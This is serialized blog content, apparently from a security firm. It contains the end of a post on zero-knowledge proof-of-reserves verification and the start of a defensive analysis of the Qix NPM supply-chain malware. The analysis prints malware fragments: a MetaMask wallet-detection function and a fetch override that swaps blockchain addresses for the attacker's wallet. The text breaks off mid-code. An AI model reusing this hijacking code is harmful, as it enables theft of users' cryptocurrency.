levels:",{"type":23,"tag":32,"props":95198,"children":95199},{},[95200],{"type":23,"tag":2591,"props":95201,"children":95203},{"alt":49057,"src":95202},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":24,"props":95205,"children":95207},{"id":95206},"global-proof-and-inclusion-proofs",[95208],{"type":29,"value":95209},"Global Proof and Inclusion Proofs",{"type":23,"tag":8287,"props":95211,"children":95212},{"id":7960},[95213],{"type":29,"value":95214},"Proving",{"type":23,"tag":32,"props":95216,"children":95217},{},[95218,95220,95226,95227,95233,95234,95240],{"type":29,"value":95219},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":38,"props":95221,"children":95223},{"className":95222},[],[95224],{"type":29,"value":95225},"merkle_tree.json",{"type":29,"value":480},{"type":23,"tag":38,"props":95228,"children":95230},{"className":95229},[],[95231],{"type":29,"value":95232},"final_proof.json",{"type":29,"value":5161},{"type":23,"tag":38,"props":95235,"children":95237},{"className":95236},[],[95238],{"type":29,"value":95239},"private_nonces.json",{"type":29,"value":95241}," files.",{"type":23,"tag":32,"props":95243,"children":95244},{},[95245],{"type":29,"value":95246},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":32,"props":95248,"children":95249},{},[95250,95252,95258,95260,95265],{"type":29,"value":95251},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":38,"props":95253,"children":95255},{"className":95254},[],[95256],{"type":29,"value":95257},"inclusion_proof_\u003Cid>.json",{"type":29,"value":95259},"). ",{"type":23,"tag":47,"props":95261,"children":95262},{},[95263],{"type":29,"value":95264},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":322},{"type":23,"tag":8287,"props":95267,"children":95269},{"id":95268},"verifying",[95270],{"type":29,"value":95271},"Verifying",{"type":23,"tag":32,"props":95273,"children":95274},{},[95275],{"type":23,"tag":3998,"props":95276,"children":95277},{},[95278],{"type":29,"value":95279},"Global Proof",{"type":23,"tag":32,"props":95281,"children":95282},{},[95283,95285,95290,95291,95296],{"type":29,"value":95284},"To verify the global proof, the code deserializes the ",{"type":23,"tag":38,"props":95286,"children":95288},{"className":95287},[],[95289],{"type":29,"value":95225},{"type":29,"value":36021},{"type":23,"tag":38,"props":95292,"children":95294},{"className":95293},[],[95295],{"type":29,"value":95232},{"type":29,"value":95297}," files and performs these checks:",{"type":23,"tag":116,"props":95299,"children":95300},{},[95301,95306,95311,95316,95342],{"type":23,"tag":120,"props":95302,"children":95303},{},[95304],{"type":29,"value":95305},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":120,"props":95307,"children":95308},{},[95309],{"type":29,"value":95310},"Verify the ZK final proof.",{"type":23,"tag":120,"props":95312,"children":95313},{},[95314],{"type":29,"value":95315},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":120,"props":95317,"children":95318},{},[95319,95321,95327,95329,95334,95335,95340],{"type":29,"value":95320},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":38,"props":95322,"children":95324},{"className":95323},[],[95325],{"type":29,"value":95326},"merkle_tree_hash",{"type":29,"value":95328}," public input. This ensures that the ",{"type":23,"tag":38,"props":95330,"children":95332},{"className":95331},[],[95333],{"type":29,"value":95225},{"type":29,"value":313},{"type":23,"tag":38,"props":95336,"children":95338},{"className":95337},[],[95339],{"type":29,"value":95232},{"type":29,"value":95341}," are linked (they belong to the same global proof).",{"type":23,"tag":120,"props":95343,"children":95344},{},[95345],{"type":29,"value":95346},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":32,"props":95348,"children":95349},{},[95350],{"type":23,"tag":3998,"props":95351,"children":95352},{},[95353],{"type":29,"value":95354},"Inclusion Proof",{"type":23,"tag":32,"props":95356,"children":95357},{},[95358,95360,95365,95367,95372],{"type":29,"value":95359},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":38,"props":95361,"children":95363},{"className":95362},[],[95364],{"type":29,"value":95257},{"type":29,"value":95366}," file and also the ",{"type":23,"tag":38,"props":95368,"children":95370},{"className":95369},[],[95371],{"type":29,"value":95232},{"type":29,"value":95373},". After that, it performs these checks:",{"type":23,"tag":116,"props":95375,"children":95376},{},[95377,95381,95386,95391],{"type":23,"tag":120,"props":95378,"children":95379},{},[95380],{"type":29,"value":95310},{"type":23,"tag":120,"props":95382,"children":95383},{},[95384],{"type":29,"value":95385},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":120,"props":95387,"children":95388},{},[95389],{"type":29,"value":95390},"Recalculate the user-related node leaf hash.",{"type":23,"tag":120,"props":95392,"children":95393},{},[95394],{"type":29,"value":95395},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":24,"props":95397,"children":95399},{"id":95398},"por-verifier-server",[95400],{"type":29,"value":95401},"PoR Verifier Server",{"type":23,"tag":32,"props":95403,"children":95404},{},[95405,95407,95413],{"type":29,"value":95406},"To automate the verification process, we created a ",{"type":23,"tag":55,"props":95408,"children":95410},{"href":91043,"rel":95409},[59],[95411],{"type":29,"value":95412},"verifier server",{"type":29,"value":95414}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":32,"props":95416,"children":95417},{},[95418],{"type":29,"value":95419},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":32,"props":95421,"children":95422},{},[95423],{"type":23,"tag":2591,"props":95424,"children":95426},{"alt":49057,"src":95425},"/posts/por/backpack-por.png",[],{"type":23,"tag":32,"props":95428,"children":95429},{},[95430],{"type":29,"value":95431},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":15362,"props":95433,"children":95434},{},[95435,95445,95455,95465,95475,95485],{"type":23,"tag":120,"props":95436,"children":95437},{},[95438,95443],{"type":23,"tag":3998,"props":95439,"children":95440},{},[95441],{"type":29,"value":95442},"Status",{"type":29,"value":95444}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":120,"props":95446,"children":95447},{},[95448,95453],{"type":23,"tag":3998,"props":95449,"children":95450},{},[95451],{"type":29,"value":95452},"Proof Timestamp",{"type":29,"value":95454}," --> when the proof was generated by the exchange.",{"type":23,"tag":120,"props":95456,"children":95457},{},[95458,95463],{"type":23,"tag":3998,"props":95459,"children":95460},{},[95461],{"type":29,"value":95462},"Verify Timestamp",{"type":29,"value":95464}," --> when the proof was verified by the PoR server.",{"type":23,"tag":120,"props":95466,"children":95467},{},[95468,95473],{"type":23,"tag":3998,"props":95469,"children":95470},{},[95471],{"type":29,"value":95472},"Proof File URL",{"type":29,"value":95474}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":120,"props":95476,"children":95477},{},[95478,95483],{"type":23,"tag":3998,"props":95479,"children":95480},{},[95481],{"type":29,"value":95482},"Prover Version",{"type":29,"value":95484}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":120,"props":95486,"children":95487},{},[95488,95493],{"type":23,"tag":3998,"props":95489,"children":95490},{},[95491],{"type":29,"value":95492},"File Hash (SHA256)",{"type":29,"value":95494}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":32,"props":95496,"children":95497},{},[95498],{"type":29,"value":95499},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":32,"props":95501,"children":95502},{},[95503],{"type":23,"tag":2591,"props":95504,"children":95506},{"alt":49057,"src":95505},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":32,"props":95508,"children":95509},{},[95510,95512,95518,95520,95526],{"type":29,"value":95511},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":55,"props":95513,"children":95516},{"href":95514,"rel":95515},"https://backpack.exchange/reserves",[59],[95517],{"type":29,"value":95514},{"type":29,"value":95519}," and our verifier server for backpack at ",{"type":23,"tag":55,"props":95521,"children":95524},{"href":95522,"rel":95523},"https://backpack-por.osec.io/",[59],[95525],{"type":29,"value":95522},{"type":29,"value":322},{"type":23,"tag":24,"props":95528,"children":95530},{"id":95529},"self-verification",[95531],{"type":29,"value":95532},"Self-verification",{"type":23,"tag":32,"props":95534,"children":95535},{},[95536],{"type":29,"value":95537},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":8287,"props":95539,"children":95541},{"id":95540},"how-to-verify-if-i-was-included",[95542],{"type":29,"value":95543},"How to verify if I was included?",{"type":23,"tag":32,"props":95545,"children":95546},{},[95547],{"type":29,"value":95548},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":116,"props":95550,"children":95551},{},[95552,95563,95581],{"type":23,"tag":120,"props":95553,"children":95554},{},[95555,95562],{"type":23,"tag":55,"props":95556,"children":95559},{"href":95557,"rel":95558},"https://github.com/otter-sec/por_v2/releases",[59],[95560],{"type":29,"value":95561},"Download the PoRv2 executable from our github",{"type":29,"value":322},{"type":23,"tag":120,"props":95564,"children":95565},{},[95566,95568,95573,95574,95579],{"type":29,"value":95567},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":38,"props":95569,"children":95571},{"className":95570},[],[95572],{"type":29,"value":95257},{"type":29,"value":313},{"type":23,"tag":38,"props":95575,"children":95577},{"className":95576},[],[95578],{"type":29,"value":95232},{"type":29,"value":95580},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":120,"props":95582,"children":95583},{},[95584,95586,95592],{"type":29,"value":95585},"Open the terminal and execute this: ",{"type":23,"tag":38,"props":95587,"children":95589},{"className":95588},[],[95590],{"type":29,"value":95591},"./plonky2_por verify-inclusion",{"type":29,"value":322},{"type":23,"tag":32,"props":95594,"children":95595},{},[95596],{"type":29,"value":95597},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":131,"props":95599,"children":95601},{"code":95600},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[95602],{"type":23,"tag":38,"props":95603,"children":95604},{"__ignoreMap":7},[95605],{"type":29,"value":95600},{"type":23,"tag":8287,"props":95607,"children":95609},{"id":95608},"how-can-i-verify-the-global-proof",[95610],{"type":29,"value":95611},"How can I verify the global proof?",{"type":23,"tag":32,"props":95613,"children":95614},{},[95615],{"type":29,"value":95616},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":116,"props":95618,"children":95619},{},[95620,95629,95647],{"type":23,"tag":120,"props":95621,"children":95622},{},[95623,95628],{"type":23,"tag":55,"props":95624,"children":95626},{"href":95557,"rel":95625},[59],[95627],{"type":29,"value":95561},{"type":29,"value":322},{"type":23,"tag":120,"props":95630,"children":95631},{},[95632,95634,95639,95640,95645],{"type":29,"value":95633},"Download the ",{"type":23,"tag":38,"props":95635,"children":95637},{"className":95636},[],[95638],{"type":29,"value":95225},{"type":29,"value":36021},{"type":23,"tag":38,"props":95641,"children":95643},{"className":95642},[],[95644],{"type":29,"value":95232},{"type":29,"value":95646}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":120,"props":95648,"children":95649},{},[95650,95652,95657],{"type":29,"value":95651},"Open the terminal and execute ",{"type":23,"tag":38,"props":95653,"children":95655},{"className":95654},[],[95656],{"type":29,"value":95591},{"type":29,"value":95658},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":32,"props":95660,"children":95661},{},[95662],{"type":29,"value":95663},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":131,"props":95665,"children":95667},{"code":95666},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[95668],{"type":23,"tag":38,"props":95669,"children":95670},{"__ignoreMap":7},[95671],{"type":29,"value":95666},{"type":23,"tag":32,"props":95673,"children":95674},{},[95675],{"type":29,"value":95676},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":131,"props":95678,"children":95680},{"code":95679},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[95681],{"type":23,"tag":38,"props":95682,"children":95683},{"__ignoreMap":7},[95684],{"type":29,"value":95679},{"type":23,"tag":24,"props":95686,"children":95687},{"id":27618},[95688],{"type":29,"value":17618},{"type":23,"tag":32,"props":95690,"children":95691},{},[95692],{"type":29,"value":95693},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":32,"props":95695,"children":95696},{},[95697,95699,95705],{"type":29,"value":95698},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":55,"props":95700,"children":95702},{"href":95514,"rel":95701},[59],[95703],{"type":29,"value":95704},"in production",{"type":29,"value":95706}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":32,"props":95708,"children":95709},{},[95710,95712,95719],{"type":29,"value":95711},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":55,"props":95713,"children":95716},{"href":95714,"rel":95715},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[59],[95717],{"type":29,"value":95718},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":322},{"title":7,"searchDepth":180,"depth":180,"links":95721},[95722,95723,95724,95725,95728,95733,95737,95738,95742],{"id":90971,"depth":180,"text":90974},{"id":91052,"depth":180,"text":91055},{"id":91122,"depth":180,"text":91125},{"id":91176,"depth":180,"text":91179,"children":95726},[95727],{"id":91255,"depth":205,"text":91258},{"id":91343,"depth":180,"text":91346,"children":95729},[95730,95731,95732],{"id":91416,"depth":205,"text":91419},{"id":91888,"depth":205,"text":91891},{"id":93627,"depth":205,"text":93630},{"id":95206,"depth":180,"text":95209,"children":95734},[95735,95736],{"id":7960,"depth":205,"text":95214},{"id":95268,"depth":205,"text":95271},{"id":95398,"depth":180,"text":95401},{"id":95529,"depth":180,"text":95532,"children":95739},[95740,95741],{"id":95540,"depth":205,"text":95543},{"id":95608,"depth":205,"text":95611},{"id":27618,"depth":180,"text":17618},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":95747,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":95748,"description":95749,"date":95750,"author":29668,"image":95751,"isFeatured":15,"onBlogPage":15,"tags":95754,"body":95757,"_type":1522,"_id":98183,"_source":1524,"_file":98184,"_stem":98185,"_extension":1527},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":95752,"width":95753,"height":13},"/posts/supply-chain-attcks/title.png",1536,[95755,95756],"npm","supply-chain",{"type":20,"children":95758,"toc":98166},[95759,95772,95777,95782,95788,95793,95801,96131,96139,96702,96710,97417,97423,97428,97434,97439,97444,97450,97455,97467,97472,97498,97585,97597,97622,97638,97643,97648,97854,97896,97901,97913,97919,97931,97973,97986,98066,98078,98091,98098,98109,98117,98123,98136,98141,98145,98150,98162],{"type":23,"tag":32,"props":95760,"children":95761},{},[95762,95764,95770],{"type":29,"value":95763},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":38,"props":95765,"children":95767},{"className":95766},[],[95768],{"type":29,"value":95769},"chalk",{"type":29,"value":95771},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":32,"props":95773,"children":95774},{},[95775],{"type":29,"value":95776},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":32,"props":95778,"children":95779},{},[95780],{"type":29,"value":95781},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":24,"props":95783,"children":95785},{"id":95784},"qix-malware-how-it-worked",[95786],{"type":29,"value":95787},"Qix Malware: How It Worked",{"type":23,"tag":32,"props":95789,"children":95790},{},[95791],{"type":29,"value":95792},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":116,"props":95794,"children":95795},{},[95796],{"type":23,"tag":120,"props":95797,"children":95798},{},[95799],{"type":29,"value":95800},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":131,"props":95802,"children":95804},{"code":95803,"language":29833,"meta":7,"className":29831,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[95805],{"type":23,"tag":38,"props":95806,"children":95807},{"__ignoreMap":7},[95808,95828,95840,95884,95901,95908,95944,95956,95984,96004,96024,96036,96043,96078,96098,96110,96117,96124],{"type":23,"tag":141,"props":95809,"children":95810},{"class":143,"line":144},[95811,95815,95819,95824],{"type":23,"tag":141,"props":95812,"children":95813},{"style":449},[95814],{"type":29,"value":34616},{"type":23,"tag":141,"props":95816,"children":95817},{"style":449},[95818],{"type":29,"value":36685},{"type":23,"tag":141,"props":95820,"children":95821},{"style":184},[95822],{"type":29,"value":95823}," checkethereumw",{"type":23,"tag":141,"props":95825,"children":95826},{"style":154},[95827],{"type":29,"value":14412},{"type":23,"tag":141,"props":95829,"children":95830},{"class":143,"line":180},[95831,95836],{"type":23,"tag":141,"props":95832,"children":95833},{"style":148},[95834],{"type":29,"value":95835}," try",{"type":23,"tag":141,"props":95837,"children":95838},{"style":154},[95839],{"type":29,"value":1951},{"type":23,"tag":141,"props":95841,"children":95842},{"class":143,"line":205},[95843,95847,95852,95856,95860,95864,95868,95872,95876,95880],{"type":23,"tag":141,"props":95844,"children":95845},{"style":449},[95846],{"type":29,"value":50147},{"type":23,"tag":141,"props":95848,"children":95849},{"style":750},[95850],{"type":29,"value":95851}," _0x124ed3",{"type":23,"tag":141,"props":95853,"children":95854},{"style":160},[95855],{"type":29,"value":1674},{"type":23,"tag":141,"props":95857,"children":95858},{"style":148},[95859],{"type":29,"value":34682},{"type":23,"tag":141,"props":95861,"children":95862},{"style":750},[95863],{"type":29,"value":29876},{"type":23,"tag":141,"props":95865,"children":95866},{"style":154},[95867],{"type":29,"value":322},{"type":23,"tag":141,"props":95869,"children":95870},{"style":750},[95871],{"type":29,"value":29885},{"type":23,"tag":141,"props":95873,"children":95874},{"style":154},[95875],{"type":29,"value":322},{"type":23,"tag":141,"props":95877,"children":95878},{"style":184},[95879],{"type":29,"value":29961},{"type":23,"tag":141,"props":95881,"children":95882},{"style":154},[95883],{"type":29,"value":13817},{"type":23,"tag":141,"props":95885,"children":95886},{"class":143,"line":218},[95887,95892,95896],{"type":23,"tag":141,"props":95888,"children":95889},{"style":828},[95890],{"type":29,"value":95891}," 'method'",{"type":23,"tag":141,"props":95893,"children":95894},{"style":750},[95895],{"type":29,"value":114},{"type":23,"tag":141,"props":95897,"children":95898},{"style":828},[95899],{"type":29,"value":95900}," \"eth_accounts\"\n",{"type":23,"tag":141,"props":95902,"children":95903},{"class":143,"line":227},[95904],{"type":23,"tag":141,"props":95905,"children":95906},{"style":154},[95907],{"type":29,"value":30725},{"type":23,"tag":141,"props":95909,"children":95910},{"class":143,"line":241},[95911,95915,95919,95924,95928,95932,95936,95940],{"type":23,"tag":141,"props":95912,"children":95913},{"style":148},[95914],{"type":29,"value":151},{"type":23,"tag":141,"props":95916,"children":95917},{"style":154},[95918],{"type":29,"value":1220},{"type":23,"tag":141,"props":95920,"children":95921},{"style":750},[95922],{"type":29,"value":95923},"_0x124ed3",{"type":23,"tag":141,"props":95925,"children":95926},{"style":154},[95927],{"type":29,"value":322},{"type":23,"tag":141,"props":95929,"children":95930},{"style":750},[95931],{"type":29,"value":7179},{"type":23,"tag":141,"props":95933,"children":95934},{"style":160},[95935],{"type":29,"value":12870},{"type":23,"tag":141,"props":95937,"children":95938},{"style":472},[95939],{"type":29,"value":1707},{"type":23,"tag":141,"props":95941,"children":95942},{"style":154},[95943],{"type":29,"value":13480},{"type":23,"tag":141,"props":95945,"children":95946},{"class":143,"line":262},[95947,95952],{"type":23,"tag":141,"props":95948,"children":95949},{"style":184},[95950],{"type":29,"value":95951}," runmask",{"type":23,"tag":141,"props":95953,"children":95954},{"style":154},[95955],{"type":29,"value":1305},{"type":23,"tag":141,"props":95957,"children":95958},{"class":143,"line":271},[95959,95963,95967,95972,95976,95980],{"type":23,"tag":141,"props":95960,"children":95961},{"style":148},[95962],{"type":29,"value":37758},{"type":23,"tag":141,"props":95964,"children":95965},{"style":154},[95966],{"type":29,"value":1220},{"type":23,"tag":141,"props":95968,"children":95969},{"style":750},[95970],{"type":29,"value":95971},"rund",{"type":23,"tag":141,"props":95973,"children":95974},{"style":160},[95975],{"type":29,"value":62868},{"type":23,"tag":141,"props":95977,"children":95978},{"style":472},[95979],{"type":29,"value":3198},{"type":23,"tag":141,"props":95981,"children":95982},{"style":154},[95983],{"type":29,"value":13480},{"type":23,"tag":141,"props":95985,"children":95986},{"class":143,"line":293},[95987,95992,95996,96000],{"type":23,"tag":141,"props":95988,"children":95989},{"style":750},[95990],{"type":29,"value":95991}," rund",{"type":23,"tag":141,"props":95993,"children":95994},{"style":160},[95995],{"type":29,"value":1674},{"type":23,"tag":141,"props":95997,"children":95998},{"style":472},[95999],{"type":29,"value":3198},{"type":23,"tag":141,"props":96001,"children":96002},{"style":154},[96003],{"type":29,"value":1684},{"type":23,"tag":141,"props":96005,"children":96006},{"class":143,"line":801},[96007,96012,96016,96020],{"type":23,"tag":141,"props":96008,"children":96009},{"style":750},[96010],{"type":29,"value":96011}," neth",{"type":23,"tag":141,"props":96013,"children":96014},{"style":160},[96015],{"type":29,"value":1674},{"type":23,"tag":141,"props":96017,"children":96018},{"style":472},[96019],{"type":29,"value":3198},{"type":23,"tag":141,"props":96021,"children":96022},{"style":154},[96023],{"type":29,"value":1684},{"type":23,"tag":141,"props":96025,"children":96026},{"class":143,"line":810},[96027,96032],{"type":23,"tag":141,"props":96028,"children":96029},{"style":184},[96030],{"type":29,"value":96031}," newdlocal",{"type":23,"tag":141,"props":96033,"children":96034},{"style":154},[96035],{"type":29,"value":1305},{"type":23,"tag":141,"props":96037,"children":96038},{"class":143,"line":824},[96039],{"type":23,"tag":141,"props":96040,"children":96041},{"style":154},[96042],{"type":29,"value":11343},{"type":23,"tag":141,"props":96044,"children":96045},{"class":143,"line":839},[96046,96050,96054,96058,96062,96066,96070,96074],{"type":23,"tag":141,"props":96047,"children":96048},{"style":154},[96049],{"type":29,"value":14455},{"type":23,"tag":141,"props":96051,"children":96052},{"style":148},[96053],{"type":29,"value":1976},{"type":23,"tag":141,"props":96055,"children":96056},{"style":148},[96057],{"type":29,"value":14464},{"type":23,"tag":141,"props":96059,"children":96060},{"style":154},[96061],{"type":29,"value":1220},{"type":23,"tag":141,"props":96063,"children":96064},{"style":750},[96065],{"type":29,"value":95971},{"type":23,"tag":141,"props":96067,"children":96068},{"style":160},[96069],{"type":29,"value":62868},{"type":23,"tag":141,"props":96071,"children":96072},{"style":472},[96073],{"type":29,"value":3198},{"type":23,"tag":141,"props":96075,"children":96076},{"style":154},[96077],{"type":29,"value":13480},{"type":23,"tag":141,"props":96079,"children":96080},{"class":143,"line":848},[96081,96086,96090,96094],{"type":23,"tag":141,"props":96082,"children":96083},{"style":750},[96084],{"type":29,"value":96085}," rund",{"type":23,"tag":141,"props":96087,"children":96088},{"style":160},[96089],{"type":29,"value":1674},{"type":23,"tag":141,"props":96091,"children":96092},{"style":472},[96093],{"type":29,"value":3198},{"type":23,"tag":141,"props":96095,"children":96096},{"style":154},[96097],{"type":29,"value":1684},{"type":23,"tag":141,"props":96099,"children":96100},{"class":143,"line":2304},[96101,96106],{"type":23,"tag":141,"props":96102,"children":96103},{"style":184},[96104],{"type":29,"value":96105}," newdlocal",{"type":23,"tag":141,"props":96107,"children":96108},{"style":154},[96109],{"type":29,"value":1305},{"type":23,"tag":141,"props":96111,"children":96112},{"class":143,"line":2313},[96113],{"type":23,"tag":141,"props":96114,"children":96115},{"style":154},[96116],{"type":29,"value":299},{"type":23,"tag":141,"props":96118,"children":96119},{"class":143,"line":2335},[96120],{"type":23,"tag":141,"props":96121,"children":96122},{"style":154},[96123],{"type":29,"value":854},{"type":23,"tag":141,"props":96125,"children":96126},{"class":143,"line":2343},[96127],{"type":23,"tag":141,"props":96128,"children":96129},{"style":154},[96130],{"type":29,"value":2573},{"type":23,"tag":116,"props":96132,"children":96133},{"start":180},[96134],{"type":23,"tag":120,"props":96135,"children":96136},{},[96137],{"type":29,"value":96138},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":23,"tag":131,"props":96140,"children":96142},{"code":96141,"language":29833,"meta":7,"className":29831,"style":7},"fetch = async function (...args) {\n const originalResponse = await originalFetch.call(this, ...args);\n const contentType = originalResponse.headers.get('Content-Type') || '';\n let data;\n if (contentType.includes('application/json')) {\n data = await originalResponse.clone().json();\n } else {\n data = await originalResponse.clone().text();\n }\n const processedData = replaceAddresses(data);\n const finalResponseText =\n typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n const finalResponse = new Response(finalResponseText, {\n status: originalResponse.status,\n statusText: originalResponse.statusText,\n headers: originalResponse.headers,\n });\n return 